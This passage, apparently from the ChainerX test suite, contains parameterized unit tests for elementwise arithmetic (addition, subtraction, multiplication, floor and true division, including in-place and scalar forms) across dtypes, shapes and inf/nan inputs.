x = xp.array([True, False], dtype='bool_')
if is_module:
xp.negative(x)
else:
-x
@op_utils.op_test(['native:0', 'cuda:0'])
@chainer.testing.parameterize(*(
# Special shapes
chainer.testing.product({
'in_shapes': _shapes_combination_binary,
'in_dtypes,out_dtype': (
_make_same_in_out_dtypes(2, chainerx.testing.numeric_dtypes)),
'input_lhs': ['random'],
'input_rhs': ['random'],
'is_module': [False],
})
# Dtype combinations
+ chainer.testing.product({
'in_shapes': [((2, 3), (2, 3))],
'in_dtypes,out_dtype': _in_out_dtypes_arithmetic,
'input_lhs': ['random'],
'input_rhs': ['random'],
'is_module': [False],
})
# is_module
+ chainer.testing.product({
'in_shapes': [((2, 3), (2, 3))],
'in_dtypes,out_dtype': (
_make_same_in_out_dtypes(2, chainerx.testing.numeric_dtypes)),
'input_lhs': ['random'],
'input_rhs': ['random'],
'is_module': [True, False],
})
# Special values
+ chainer.testing.product({
'in_shapes': [((2, 3), (2, 3))],
'in_dtypes,out_dtype': (
_make_same_in_out_dtypes(2, chainerx.testing.float_dtypes)),
'input_lhs': ['random', float('inf'), -float('inf'), float('nan')],
'input_rhs': ['random', float('inf'), -float('inf'), float('nan')],
'is_module': [False],
'skip_backward_test': [True],
'skip_double_backward_test': [True],
})
))
class TestAdd(BinaryMathTestBase, op_utils.NumpyOpTest):
def func(self, xp, a, b):
if self.is_module:
return xp.add(a, b)
else:
return a + b
@pytest.mark.parametrize_device(['native:0', 'cuda:0'])
@pytest.mark.parametrize('dtypes', _in_out_dtypes_arithmetic_invalid)
def test_add_invalid_dtypes(device, dtypes, is_module):
(in_dtype1, in_dtype2), _ = dtypes
shape = (2, 3)
a = chainerx.array(array_utils.uniform(shape, in_dtype1))
b = chainerx.array(array_utils.uniform(shape, in_dtype2))
with pytest.raises(chainerx.DtypeError):
if is_module:
a + b
else:
chainerx.add(a, b)
@op_utils.op_test(['native:0', 'cuda:0'])
@chainer.testing.parameterize(*(
# Special shapes
chainer.testing.product({
'in_shapes': _shapes_combination_inplace_binary,
'in_dtypes,out_dtype': (
_make_same_in_out_dtypes(2, chainerx.testing.numeric_dtypes)),
'input_lhs': ['random'],
'input_rhs': ['random'],
})
# Dtype combinations
+ chainer.testing.product({
'in_shapes': [((2, 3), (2, 3))],
'in_dtypes,out_dtype': _in_out_dtypes_inplace_arithmetic,
'input_lhs': ['random'],
'input_rhs': ['random'],
})
# Special values
+ chainer.testing.product({
'in_shapes': [((2, 3), (2, 3))],
'in_dtypes,out_dtype': (
_make_same_in_out_dtypes(2, chainerx.testing.float_dtypes)),
'input_lhs': ['random', float('inf'), -float('inf'), float('nan')],
'input_rhs': ['random', float('inf'), -float('inf'), float('nan')],
'skip_backward_test': [True],
'skip_double_backward_test': [True],
})
))
class TestIAdd(InplaceBinaryMathTestBase, op_utils.NumpyOpTest):
def func(self, xp, a, b):
a += b
@pytest.mark.parametrize_device(['native:0', 'cuda:0'])
@pytest.mark.parametrize('dtypes', _in_out_dtypes_inplace_arithmetic_invalid)
def test_iadd_invalid_dtypes(device, dtypes):
(in_dtype1, in_dtype2), _ = dtypes
shape = (2, 3)
a = chainerx.array(array_utils.uniform(shape, in_dtype1))
b = chainerx.array(array_utils.uniform(shape, in_dtype2))
with pytest.raises(chainerx.DtypeError):
a += b
@op_utils.op_test(['native:0', 'cuda:0'])
@chainer.testing.parameterize(*(
# Special shapes
chainer.testing.product({
'shape': [(), (0,), (1,), (2, 0, 3), (1, 1, 1), (2, 3)],
'in_dtypes,scalar_type,out_dtype': _in_out_dtypes_arithmetic_scalar,
'input': ['random'],
'scalar_value': [1],
'is_module': [False],
'is_scalar_rhs': [False],
})
# Type combinations
+ chainer.testing.product({
'shape': [(2, 3)],
'in_dtypes,scalar_type,out_dtype': _in_out_dtypes_arithmetic_scalar,
'input': ['random'],
'scalar_value': [1],
'is_module': [False],
'is_scalar_rhs': [True, False],
})
# is_module
+ chainer.testing.product({
'shape': [(2, 3)],
'in_dtypes,scalar_type,out_dtype': _in_out_dtypes_arithmetic_scalar,
'input': ['random'],
'scalar_value': [1],
'is_module': [True, False],
'is_scalar_rhs': [True, False],
})
# Special values
+ chainer.testing.product({
'shape': [(2, 3)],
'in_dtypes,scalar_type,out_dtype':
_in_out_dtypes_float_arithmetic_scalar,
'input': [float('inf'), -float('inf'), float('nan')],
'scalar_value': [
0, -1, 1, 2, float('inf'), -float('inf'), float('nan')],
'is_module': [False],
'is_scalar_rhs': [False],
'skip_backward_test': [True],
'skip_double_backward_test': [True],
})
))
class TestAddScalar(MathScalarTestBase, op_utils.NumpyOpTest):
def func_scalar(self, xp, a, scalar):
if self.is_module:
if self.is_scalar_rhs:
return a + scalar
else:
return scalar + a
else:
if self.is_scalar_rhs:
return xp.add(a, scalar)
else:
return xp.add(scalar, a)
@op_utils.op_test(['native:0', 'cuda:0'])
@chainer.testing.parameterize(*(
# Special shapes
chainer.testing.product({
'shape': [(), (0,), (1,), (2, 0, 3), (1, 1, 1), (2, 3)],
'in_dtypes,scalar_type,out_dtype':
_in_out_dtypes_inplace_arithmetic_scalar,
'input': ['random'],
'scalar_value': [1],
})
# Dtype combinations
+ chainer.testing.product({
'shape': [(2, 3)],
'in_dtypes,scalar_type,out_dtype':
_in_out_dtypes_inplace_arithmetic_scalar,
'input': ['random'],
'scalar_value': [1],
})
# Special values
+ chainer.testing.product({
'shape': [(2, 3)],
'in_dtypes,scalar_type,out_dtype':
_in_out_dtypes_inplace_float_arithmetic_scalar,
'input': [float('inf'), -float('inf'), float('nan')],
'scalar_value': [
0, -1, 1, 2, float('inf'), -float('inf'), float('nan')],
})
))
class TestIAddScalar(InplaceMathScalarTestBase, op_utils.NumpyOpTest):
def func_scalar(self, xp, a, scalar):
a += scalar
@op_utils.op_test(['native:0', 'cuda:0'])
@chainer.testing.parameterize(*(
# Special shapes
chainer.testing.product({
'in_shapes': _shapes_combination_binary,
'in_dtypes,out_dtype': (
_make_same_in_out_dtypes(2, chainerx.testing.numeric_dtypes)),
'input_lhs': ['random'],
'input_rhs': ['random'],
'is_module': [False],
})
# Dtype combinations
+ chainer.testing.product({
'in_shapes': [((2, 3), (2, 3))],
'in_dtypes,out_dtype': _in_out_dtypes_arithmetic,
'input_lhs': ['random'],
'input_rhs': ['random'],
'is_module': [False],
})
# is_module
+ chainer.testing.product({
'in_shapes': [((2, 3), (2, 3))],
'in_dtypes,out_dtype': (
_make_same_in_out_dtypes(2, chainerx.testing.numeric_dtypes)),
'input_lhs': ['random'],
'input_rhs': ['random'],
'is_module': [True, False],
})
# Special values
+ chainer.testing.product({
'in_shapes': [((2, 3), (2, 3))],
'in_dtypes,out_dtype': (
_make_same_in_out_dtypes(2, chainerx.testing.float_dtypes)),
'input_lhs': ['random', float('inf'), -float('inf'), float('nan')],
'input_rhs': ['random', float('inf'), -float('inf'), float('nan')],
'is_module': [False],
'skip_backward_test': [True],
'skip_double_backward_test': [True],
})
))
class TestSub(BinaryMathTestBase, op_utils.NumpyOpTest):
def func(self, xp, a, b):
if self.is_module:
return xp.subtract(a, b)
else:
return a - b
@pytest.mark.parametrize_device(['native:0', 'cuda:0'])
@pytest.mark.parametrize('dtypes', _in_out_dtypes_arithmetic_invalid)
def test_sub_invalid_dtypes(device, dtypes, is_module):
(in_dtype1, in_dtype2), _ = dtypes
shape = (2, 3)
a = chainerx.array(array_utils.uniform(shape, in_dtype1))
b = chainerx.array(array_utils.uniform(shape, in_dtype2))
with pytest.raises(chainerx.DtypeError):
if is_module:
a - b
else:
chainerx.subtract(a, b)
@op_utils.op_test(['native:0', 'cuda:0'])
@chainer.testing.parameterize(*(
# Special shapes
chainer.testing.product({
'in_shapes': _shapes_combination_inplace_binary,
'in_dtypes,out_dtype': (
_make_same_in_out_dtypes(2, chainerx.testing.numeric_dtypes)),
'input_lhs': ['random'],
'input_rhs': ['random'],
})
# Dtype combinations
+ chainer.testing.product({
'in_shapes': [((2, 3), (2, 3))],
'in_dtypes,out_dtype': _in_out_dtypes_inplace_arithmetic,
'input_lhs': ['random'],
'input_rhs': ['random'],
})
# Special values
+ chainer.testing.product({
'in_shapes': [((2, 3), (2, 3))],
'in_dtypes,out_dtype': (
_make_same_in_out_dtypes(2, chainerx.testing.float_dtypes)),
'input_lhs': ['random', float('inf'), -float('inf'), float('nan')],
'input_rhs': ['random', float('inf'), -float('inf'), float('nan')],
'skip_backward_test': [True],
'skip_double_backward_test': [True],
})
))
class TestISub(InplaceBinaryMathTestBase, op_utils.NumpyOpTest):
def func(self, xp, a, b):
a -= b
@pytest.mark.parametrize_device(['native:0', 'cuda:0'])
@pytest.mark.parametrize('dtypes', _in_out_dtypes_inplace_arithmetic_invalid)
def test_isub_invalid_dtypes(device, dtypes):
(in_dtype1, in_dtype2), _ = dtypes
shape = (2, 3)
a = chainerx.array(array_utils.uniform(shape, in_dtype1))
b = chainerx.array(array_utils.uniform(shape, in_dtype2))
with pytest.raises(chainerx.DtypeError):
a -= b
@op_utils.op_test(['native:0', 'cuda:0'])
@chainer.testing.parameterize(*(
# Special shapes
chainer.testing.product({
'shape': [(), (0,), (1,), (2, 0, 3), (1, 1, 1), (2, 3)],
'in_dtypes,scalar_type,out_dtype': _in_out_dtypes_arithmetic_scalar,
'input': ['random'],
'scalar_value': [1],
'is_module': [False],
'is_scalar_rhs': [False],
})
# Type combinations
+ chainer.testing.product({
'shape': [(2, 3)],
'in_dtypes,scalar_type,out_dtype': _in_out_dtypes_arithmetic_scalar,
'input': ['random'],
'scalar_value': [1],
'is_module': [False],
'is_scalar_rhs': [True, False],
})
# is_module
+ chainer.testing.product({
'shape': [(2, 3)],
'in_dtypes,scalar_type,out_dtype': _in_out_dtypes_arithmetic_scalar,
'input': ['random'],
'scalar_value': [1],
'is_module': [True, False],
'is_scalar_rhs': [True, False],
})
# Special values
+ chainer.testing.product({
'shape': [(2, 3)],
'in_dtypes,scalar_type,out_dtype':
_in_out_dtypes_float_arithmetic_scalar,
'input': [float('inf'), -float('inf'), float('nan')],
'scalar_value': [
0, -1, 1, 2, float('inf'), -float('inf'), float('nan')],
'is_module': [False],
'is_scalar_rhs': [False],
'skip_backward_test': [True],
'skip_double_backward_test': [True],
})
))
class TestSubScalar(MathScalarTestBase, op_utils.NumpyOpTest):
def func_scalar(self, xp, a, scalar):
if self.is_module:
if self.is_scalar_rhs:
return a - scalar
else:
return scalar - a
else:
if self.is_scalar_rhs:
return xp.subtract(a, scalar)
else:
return xp.subtract(scalar, a)
@op_utils.op_test(['native:0', 'cuda:0'])
@chainer.testing.parameterize(*(
# Special shapes
chainer.testing.product({
'shape': [(), (0,), (1,), (2, 0, 3), (1, 1, 1), (2, 3)],
'in_dtypes,scalar_type,out_dtype':
_in_out_dtypes_inplace_arithmetic_scalar,
'input': ['random'],
'scalar_value': [1],
})
# Dtype combinations
+ chainer.testing.product({
'shape': [(2, 3)],
'in_dtypes,scalar_type,out_dtype':
_in_out_dtypes_inplace_arithmetic_scalar,
'input': ['random'],
'scalar_value': [1],
})
# Special values
+ chainer.testing.product({
'shape': [(2, 3)],
'in_dtypes,scalar_type,out_dtype':
_in_out_dtypes_inplace_float_arithmetic_scalar,
'input': [float('inf'), -float('inf'), float('nan')],
'scalar_value': [
0, -1, 1, 2, float('inf'), -float('inf'), float('nan')],
})
))
class TestISubScalar(InplaceMathScalarTestBase, op_utils.NumpyOpTest):
def func_scalar(self, xp, a, scalar):
a -= scalar
@op_utils.op_test(['native:0', 'cuda:0'])
@chainer.testing.parameterize(*(
# Special shapes
chainer.testing.product({
'in_shapes': _shapes_combination_binary,
'in_dtypes,out_dtype': (
_make_same_in_out_dtypes(2, chainerx.testing.all_dtypes)),
'input_lhs': ['random'],
'input_rhs': ['random'],
'is_module': [False],
})
# Dtype combinations
+ chainer.testing.product({
'in_shapes': [((2, 3), (2, 3))],
'in_dtypes,out_dtype': dtype_utils.result_dtypes_two_arrays,
'input_lhs': ['random'],
'input_rhs': ['random'],
'is_module': [False],
})
# is_module
+ chainer.testing.product({
'in_shapes': [((2, 3), (2, 3))],
'in_dtypes,out_dtype': (
_make_same_in_out_dtypes(2, chainerx.testing.all_dtypes)),
'input_lhs': ['random'],
'input_rhs': ['random'],
'is_module': [True, False],
})
# Special values
+ chainer.testing.product({
'in_shapes': [((2, 3), (2, 3))],
'in_dtypes,out_dtype': (
_make_same_in_out_dtypes(2, chainerx.testing.float_dtypes)),
'input_lhs': ['random', float('inf'), -float('inf'), float('nan')],
'input_rhs': ['random', float('inf'), -float('inf'), float('nan')],
'is_module': [False],
'skip_backward_test': [True],
'skip_double_backward_test': [True],
})
))
class TestMul(BinaryMathTestBase, op_utils.NumpyOpTest):
def func(self, xp, a, b):
if self.is_module:
return xp.multiply(a, b)
else:
return a * b
@op_utils.op_test(['native:0', 'cuda:0'])
@chainer.testing.parameterize(*(
# Special shapes
chainer.testing.product({
'in_shapes': _shapes_combination_inplace_binary,
'in_dtypes,out_dtype': (
_make_same_in_out_dtypes(2, chainerx.testing.all_dtypes)),
'input_lhs': ['random'],
'input_rhs': ['random'],
})
# Dtype combinations
+ chainer.testing.product({
'in_shapes': [((2, 3), (2, 3))],
'in_dtypes,out_dtype': _in_out_dtypes_inplace_arithmetic + [
((t, 'bool_'), t) for t in chainerx.testing.all_dtypes
],
'input_lhs': ['random'],
'input_rhs': ['random'],
})
# Special values
+ chainer.testing.product({
'in_shapes': [((2, 3), (2, 3))],
'in_dtypes,out_dtype': (
_make_same_in_out_dtypes(2, chainerx.testing.float_dtypes)),
'input_lhs': ['random', float('inf'), -float('inf'), float('nan')],
'input_rhs': ['random', float('inf'), -float('inf'), float('nan')],
'skip_backward_test': [True],
'skip_double_backward_test': [True],
})
))
class TestIMul(InplaceBinaryMathTestBase, op_utils.NumpyOpTest):
def func(self, xp, a, b):
a *= b
@op_utils.op_test(['native:0', 'cuda:0'])
@chainer.testing.parameterize(*(
# Special shapes
chainer.testing.product({
'shape': [(), (0,), (1,), (2, 0, 3), (1, 1, 1), (2, 3)],
'in_dtypes,scalar_type,out_dtype': _in_out_dtypes_arithmetic_scalar,
'input': ['random'],
'scalar_value': [1],
'is_module': [False],
'is_scalar_rhs': [False],
})
# Type combinations
+ chainer.testing.product({
'shape': [(2, 3)],
'in_dtypes,scalar_type,out_dtype': _in_out_dtypes_arithmetic_scalar + [
((t,), bool, t) for t in chainerx.testing.all_dtypes
],
'input': ['random'],
'scalar_value': [1],
'is_module': [False],
'is_scalar_rhs': [True, False],
})
# is_module
+ chainer.testing.product({
'shape': [(2, 3)],
'in_dtypes,scalar_type,out_dtype': _in_out_dtypes_arithmetic_scalar,
'input': ['random'],
'scalar_value': [1],
'is_module': [True, False],
'is_scalar_rhs': [True, False],
})
# Special values
+ chainer.testing.product({
'shape': [(2, 3)],
'in_dtypes,scalar_type,out_dtype':
_in_out_dtypes_float_arithmetic_scalar,
'input': [float('inf'), -float('inf'), float('nan')],
'scalar_value': [
0, -1, 1, 2, float('inf'), -float('inf'), float('nan')],
'is_module': [False],
'is_scalar_rhs': [False],
'skip_backward_test': [True],
'skip_double_backward_test': [True],
})
))
class TestMulScalar(MathScalarTestBase, op_utils.NumpyOpTest):
def func_scalar(self, xp, a, scalar):
if self.is_module:
if self.is_scalar_rhs:
return a * scalar
else:
return scalar * a
else:
if self.is_scalar_rhs:
return xp.multiply(a, scalar)
else:
return xp.multiply(scalar, a)
@op_utils.op_test(['native:0', 'cuda:0'])
@chainer.testing.parameterize(*(
# Special shapes
chainer.testing.product({
'shape': [(), (0,), (1,), (2, 0, 3), (1, 1, 1), (2, 3)],
'in_dtypes,scalar_type,out_dtype':
_in_out_dtypes_inplace_arithmetic_scalar,
'input': ['random'],
'scalar_value': [1],
})
# Dtype combinations
+ chainer.testing.product({
'shape': [(2, 3)],
'in_dtypes,scalar_type,out_dtype': (
_in_out_dtypes_inplace_arithmetic_scalar + [
((t,), bool, t) for t in chainerx.testing.all_dtypes
]),
'input': ['random'],
'scalar_value': [1],
})
# Special values
+ chainer.testing.product({
'shape': [(2, 3)],
'in_dtypes,scalar_type,out_dtype':
_in_out_dtypes_inplace_float_arithmetic_scalar,
'input': [float('inf'), -float('inf'), float('nan')],
'scalar_value': [
0, -1, 1, 2, float('inf'), -float('inf'), float('nan')],
})
))
class TestIMulScalar(InplaceMathScalarTestBase, op_utils.NumpyOpTest):
def func_scalar(self, xp, a, scalar):
a *= scalar
# TODO(imanishi): Support and test zero division
@op_utils.op_test(['native:0', 'cuda:0'])
@chainer.testing.parameterize(*chainer.testing.product({
'lhs,rhs': [
([], []),
([0, 1, 2, 3, 100, 101, 102, 103], [3] * 8),
([-1, -2, -3, -4, -100, -101, -102, -103], [3] * 8),
([0, 1, 2, 3, 100, 101, 102, 103], [-3] * 8),
([-1, -2, -3, -4, -100, -101, -102, -103], [-3] * 8),
([0., 0.8, 1.6, 2.4, 100., 100.8, 101.6, 102.4], [1.2] * 8),
([-0.8, -1.6, -2.4, -3.2, -100., -100.8, -101.6, -102.4], [1.2] * 8),
([0., 0.8, 1.6, 2.4, 100., 100.8, 101.6, 102.4], [-1.2] * 8),
([-0.8, -1.6, -2.4, -3.2, -100., -100.8, -101.6, -102.4], [-1.2] * 8),
],
'in_dtypes,out_dtype': _in_out_dtypes_arithmetic,
'is_module': [True, False],
}))
class TestFloorDiv(BinaryMathTestBase, op_utils.NumpyOpTest):
skip_backward_test = True
skip_double_backward_test = True
def generate_inputs(self):
in_dtype1, in_dtype2 = self.in_dtypes
a = numpy.array(self.lhs).astype(in_dtype1)
b = numpy.array(self.rhs).astype(in_dtype2)
return a, b
def func(self, xp, a, b):
if self.is_module:
return xp.floor_divide(a, b)
else:
return a // b
# TODO(imanishi): Support and test chainerx.Scalar // chainerx.ndarray.
# TODO(imanishi): Support and test zero division
@op_utils.op_test(['native:0', 'cuda:0'])
@chainer.testing.parameterize(*chainer.testing.product({
'array': [
([]),
([0, 1, 2, 3, 100, 101, 102, 103]),
([-1, -2, -3, -4, -100, -101, -102, -103]),
([0., 0.8, 1.6, 2.4, 100., 100.8, 101.6, 102.4]),
([-0.8, -1.6, -2.4, -3.2, -100., -100.8, -101.6, -102.4]),
],
'scalar_value': [-3, 3, -1.2, 1.2],
'in_dtypes,scalar_type,out_dtype': _in_out_dtypes_arithmetic_scalar,
'is_module': [True, False],
}))
class TestFloorDivScalar(MathScalarTestBase, op_utils.NumpyOpTest):
skip_backward_test = True
skip_double_backward_test = True
def setup(self):
super().setup()
in_dtype, = self.in_dtypes
# TODO(imanishi): Remove this.
if in_dtype == 'uint8' and self.scalar_value < 0:
self.skip_forward_test = True
def generate_inputs(self):
in_dtype, = self.in_dtypes
a = numpy.array(self.array).astype(in_dtype)
return a,
def func_scalar(self, xp, a, scalar):
if self.is_module:
return xp.floor_divide(a, scalar)
else:
return a // scalar
@pytest.mark.parametrize_device(['native:0', 'cuda:0'])
@pytest.mark.parametrize('dtypes', _in_out_dtypes_arithmetic_invalid)
def test_floordiv_invalid_dtypes(device, dtypes, is_module):
(in_dtype1, in_dtype2), _ = dtypes
shape = (2, 3)
a = chainerx.array(array_utils.uniform(shape, in_dtype1))
b = chainerx.array(array_utils.uniform(shape, in_dtype2))
with pytest.raises(chainerx.DtypeError):
if is_module:
a // b
else:
chainerx.floor_divide(a, b)
# TODO(imanishi): Support and test zero division and mixed dtypes.
# TODO(imanishi): Support and test chainerx.Scalar // chainerx.ndarray.
# TODO(imanishi): Support and test bool dtype.
@chainerx.testing.numpy_chainerx_array_equal(float16_rtol=1e-3)
@pytest.mark.parametrize('lhs,rhs', [
([], []),
([0, 1, 2, 3, 100, 101, 102, 103], [3] * 8),
([-1, -2, -3, -4, -100, -101, -102, -103], [3] * 8),
([0, 1, 2, 3, 100, 101, 102, 103], [-3] * 8),
([-1, -2, -3, -4, -100, -101, -102, -103], [-3] * 8),
([0., 0.8, 1.6, 2.4, 100., 100.8, 101.6, 102.4], [1.2] * 8),
([-0.8, -1.6, -2.4, -3.2, -100., -100.8, -101.6, -102.4], [1.2] * 8),
([0., 0.8, 1.6, 2.4, 100., 100.8, 101.6, 102.4], [-1.2] * 8),
([-0.8, -1.6, -2.4, -3.2, -100., -100.8, -101.6, -102.4], [-1.2] * 8),
([0, 1, 2, 3, 100, 101, 102, 103], 3),
([-1, -2, -3, -4, -100, -101, -102, -103], 3),
([0, 1, 2, 3, 100, 101, 102, 103], -3),
([-1, -2, -3, -4, -100, -101, -102, -103], -3),
([0., 0.8, 1.6, 2.4, 100., 100.8, 101.6, 102.4], 1.2),
([-0.8, -1.6, -2.4, -3.2, -100., -100.8, -101.6, -102.4], 1.2),
([0., 0.8, 1.6, 2.4, 100., 100.8, 101.6, 102.4], -1.2),
([-0.8, -1.6, -2.4, -3.2, -100., -100.8, -101.6, -102.4], -1.2),
])
@pytest.mark.parametrize_device(['native:0', 'cuda:0'])
def test_ifloordiv(xp, lhs, rhs, device, numeric_dtype):
if numpy.array(lhs).dtype.kind != numpy.dtype(numeric_dtype).kind:
return chainerx.testing.ignore()
lhs = xp.array(lhs).astype(numeric_dtype)
if isinstance(rhs, (list, tuple)):
rhs = xp.array(rhs).astype(numeric_dtype)
lhs //= rhs
return lhs
@pytest.mark.parametrize_device(['native:0', 'cuda:0'])
@pytest.mark.parametrize('dtypes', _in_out_dtypes_inplace_arithmetic_invalid)
def test_ifloordiv_invalid_dtypes(device, dtypes):
(in_dtype1, in_dtype2), _ = dtypes
shape = (2, 3)
a = chainerx.array(array_utils.uniform(shape, in_dtype1))
b = chainerx.array(array_utils.uniform(shape, in_dtype2))
with pytest.raises(chainerx.DtypeError):
a //= b
_in_out_dtypes_inplace_truediv = [
(('float32', 'int16'), 'float32'),
(('float64', 'uint8'), 'float64'),
(('float16', 'float16'), 'float16'),
(('float32', 'float32'), 'float32'),
(('float64', 'float64'), 'float64'),
(('float32', 'float16'), 'float32'),
(('float16', 'float64'), 'float64'),
]
_in_out_dtypes_truediv = _in_out_dtypes_inplace_truediv + [
(('int8', 'int8'), 'float32'),
(('int16', 'int16'), 'float32'),
(('int32', 'int32'), 'float32'),
(('int64', 'int64'), 'float32'),
(('uint8', 'uint8'), 'float32'),
(('int8', 'int32'), 'float32'),
(('uint8', 'int64'), 'float32'),
(('int8', 'uint8'), 'float32'),
(('int32', 'float16'), 'float16'),
(('uint8', 'float32'), 'float32'),
]
_in_out_dtypes_inplace_truediv_scalar = [
(('int8',), int, 'float32'),
(('int16',), int, 'float32'),
(('int32',), int, 'float32'),
(('int64',), int, 'float32'),
(('uint8',), int, 'float32'),
(('float16',), int, 'float16'),
(('float32',), int, 'float32'),
(('float64',), int, 'float64'),
(('float16',), float, 'float16'),
(('float32',), float, 'float32'),
(('float64',), float, 'float64'),
]
_in_out_dtypes_truediv_scalar = _in_out_dtypes_inplace_truediv_scalar + [
(('int8',), float, 'float32'),
(('int16',), float, 'float32'),
(('int32',), float, 'float32'),
(('int64',), float, 'float32'),
(('uint8',), float, 'float32'),
]
@op_utils.op_test(['native:0', 'cuda:0'])
@chainer.testing.parameterize(*(
# Special shapes
chainer.testing.product({
'in_shapes': _shapes_combination_binary,
'in_dtypes,out_dtype': _in_out_dtypes_truediv,
'input_lhs': ['random'],
'input_rhs': ['random'],
'is_module': [False],
})
# Dtype combinations
+ chainer.testing.product({
'in_shapes': [((2, 3), (2, 3))],
'in_dtypes,out_dtype': _in_out_dtypes_truediv,
'input_lhs': ['random'],
'input_rhs': ['random'],
'is_module': [False],
})
# is_module
+ chainer.testing.product({
'in_shapes': [((2, 3), (2, 3))],
'in_dtypes,out_dtype': _in_out_dtypes_truediv,
'input_lhs': ['random'],
'input_rhs': ['random'],
'is_module': [True, False],
})
# Special values
+ chainer.testing.product({
'in_shapes': [((2, 3), (2, 3))],
'in_dtypes,out_dtype': (
_make_same_in_out_dtypes(2, chainerx.testing.float_dtypes)),
'input_lhs': ['random', float('inf'), -float('inf'), float('nan')],
'input_rhs': ['random', float('inf'), -float('inf'), float('nan')],
'is_module': [False],
'skip_backward_test': [True],
'skip_double_backward_test': [True],
})
))
class TestTrueDivide(BinaryMathTestBase, op_utils.NumpyOpTest):
check_numpy_strides_compliance = False
def setup(self):
super().setup()
dtype1, dtype2 = self.in_dtypes
if dtype1 == 'float16' or dtype2 == 'float16':
self.check_forward_options.update({'rtol': 5e-3, 'atol': 5e-3})
self.check_backward_options.update({'rtol': 5e-3, 'atol': 5e-3})
self.check_double_backward_options.update(
{'rtol': 5e-3, 'atol': 5e-3})
def generate_inputs(self):
a, b = super().generate_inputs()
if self.input_lhs == 'random':
# Avoid (-0.3, 0.3) interval
with IgnoreNumpyFloatingPointError():
b[numpy.logical_and(-0.3 < b, b < 0.3)] = 1
return a, b
def func(self, xp, a, b):
if self.is_module:
return xp.divide(a, b)
else:
return a / b
@pytest.mark.parametrize_device(['native:0', 'cuda:0'])
@pytest.mark.parametrize('dtypes', _in_out_dtypes_arithmetic_invalid)
def test_truediv_invalid_dtypes(device, dtypes, is_module):
(in_dtype1, in_dtype2), _ = dtypes
shape = (2, 3)
a = chainerx.array(array_utils.uniform(shape, in_dtype1))
b = chainerx.array(array_utils.uniform(shape, in_dtype2))
with pytest.raises(chainerx.DtypeError):
if is_module:
a / b
else:
chainerx.true_divide(a, b)
@op_utils.op_test(['native:0', 'cuda:0'])
@chainer.testing.parameterize(*(
# Special shapes
chainer.testing.product({
'in_shapes': _shapes_combination_inplace_binary,
'in_dtypes,out_dtype': _in_out_dtypes_inplace_truediv,
'input_lhs': ['random'],
'input_rhs': ['random'],
})
# Dtype combinations
+ chainer.testing.product({
'in_shapes': [((2, 3), (2, 3))],
'in_dtypes,out_dtype': _in_out_dtypes_inplace_truediv,
'input_lhs': ['random'],
'input_rhs': ['random'],
})
# Special values
+ chainer.testing.product({
'in_shapes': [((2, 3), (2, 3))],
'in_dtypes,out_dtype': (
_make_same_in_out_dtypes(2, chainerx.testing.float_dtypes)),
'input_lhs': ['random', float('inf'), -float('inf'), float('nan')],
'input_rhs': ['random', float('inf'), -float('inf'), float('nan')],
'skip_backward_test': [True],
'skip_double_backward_test': [True],
})
))
class TestITrueDivide(InplaceBinaryMathTestBase, op_utils.NumpyOpTest):
skip_backward_test = True
skip_double_backward_test = True
def generate_inputs(self):
a, b = super().generate_inputs()
if self.input_lhs == 'random':
with IgnoreNumpyFloatingPointError():
b[numpy.logical_and(-0.3 < b, b < 0.3)] = 1
return a, b
def func(self, xp, a, b):
a /= b
# TODO(hvy): Support and test zero division and mixed dtypes (dtype kinds).
@op_utils.op_test(['native:0', 'cuda:0'])
@chainer.testing.parameterize(*(
# Special shapes
chainer.testing.product({
'shape': [(), (0,), (1,), (2, 0, 3), (1, 1, 1), (2, 3)],
'in_dtypes,scalar_type,out_dtype': _in_out_dtypes_truediv_scalar,
'input': ['random'],
'scalar_value': [1],
'is_module': [False],
'is_scalar_rhs': [False],
})
# Dtype combinations
+ chainer.testing.product({
'shape': [(2, 3)],
'in_dtypes,scalar_type,out_dtype': _in_out_dtypes_truediv_scalar,
'input': ['random'],
'scalar_value': [1],
'is_module': [False],
'is_scalar_rhs': [False],
})
# is_module
+ chainer.testing.product({
'shape': [(2, 3)],
'in_dtypes,scalar_type,out_dtype': _in_out_dtypes_truediv_scalar,
'input': ['random'],
'scalar_value': [1],
'is_module': [True, False],
# TODO(hvy): Support and test chainerx.Scalar / chainerx.ndarray.
'is_scalar_rhs': [True],
})
# Special values
+ chainer.testing.product({
'shape': [(2, 3)],
'in_dtypes,out_dtype': (
_make_same_in_out_dtypes(1, chainerx.testing.float_dtypes)),
'scalar_type': [float],
'input': [float('inf'), -float('inf'), float('nan')],
'scalar_value': [-1, 1, 2, float('inf'), -float('inf'), float('nan')],
'is_module': [False],
'is_scalar_rhs': [False],
'skip_backward_test': [True],
'skip_double_backward_test': [True],
})
))
class TestTrueDivideScalar(MathScalarTestBase, op_utils.NumpyOpTest):
check_numpy_strides_compliance = False
def func_scalar(self, xp, a, scalar):
if self.is_module:
return a / scalar
else:
return xp.divide(a, scalar)
@op_utils.op_test(['native:0', 'cuda:0'])
@chainer.testing.parameterize(*(
# Special shapes
chainer.testing.product({
'shape': [(), (0,), (1,), (2, 0, 3), (1, 1, 1), (2, 3)],
'in_dtypes,out_dtype': (
_make_same_in_out_dtypes(1, chainerx.testing.float_dtypes)),
'scalar_type': [float],
'input': ['random'],
'scalar_value': [1],
})
# Special values
+ chainer.testing.product({
'shape': [(2, 3)],
'in_dtypes,out_dtype': (
_make_same_in_out_dtypes(1, chainerx.testing.float_dtypes)),
'scalar_type': [float],
'input': [float('inf'), -float('inf'), float('nan')],
'scalar_value': [-1, 1, 2, float('inf'), -float('inf'), float('nan')],
})
))
class TestITrueDivideScalar(InplaceMathScalarTestBase, op_utils.NumpyOpTest):
def func_scalar(self, xp, a, scalar):
a /= scalar
@op_utils.op_test(['native:0', 'cuda:0'])
@chainer.testing.parameterize_pytest('in_dtypes,out_dtype', [
(('bool_',), 'int64'),
(('int8',), 'int64'),
(('int16',), 'int64'),
(('int32',), 'int64'),
(('int64',), 'int64'),
(('float16',), 'float16'),
(('float32',), 'float32'),
(('float64',), 'float64'),
# TODO(niboshi): Unsigned integer dtypes should result in uint64.
# Currently chainerx returns int64.
(('uint8',), 'int64'),
])
@chainer.testing.parameterize_pytest('shape,axis', [
((), None),
((), ()),
((2,), None),
((2,), ()),
((2,), 0),
((2,), (0,)),
((2,), (-1,)),
((2, 3), None),
((2, 3), ()),
((2, 3), 0),
((2, 3), (0,)),
((2, 3), (1,)),
((2, 3), (-1,)),
((2, 3), (-2,)),
((2, 3), (0, 1)),
((2, 3), (-2, -1)),
((1, 3), None), # sum over 1-dim axis
((0, 3), None), # sum over 0-dim axis
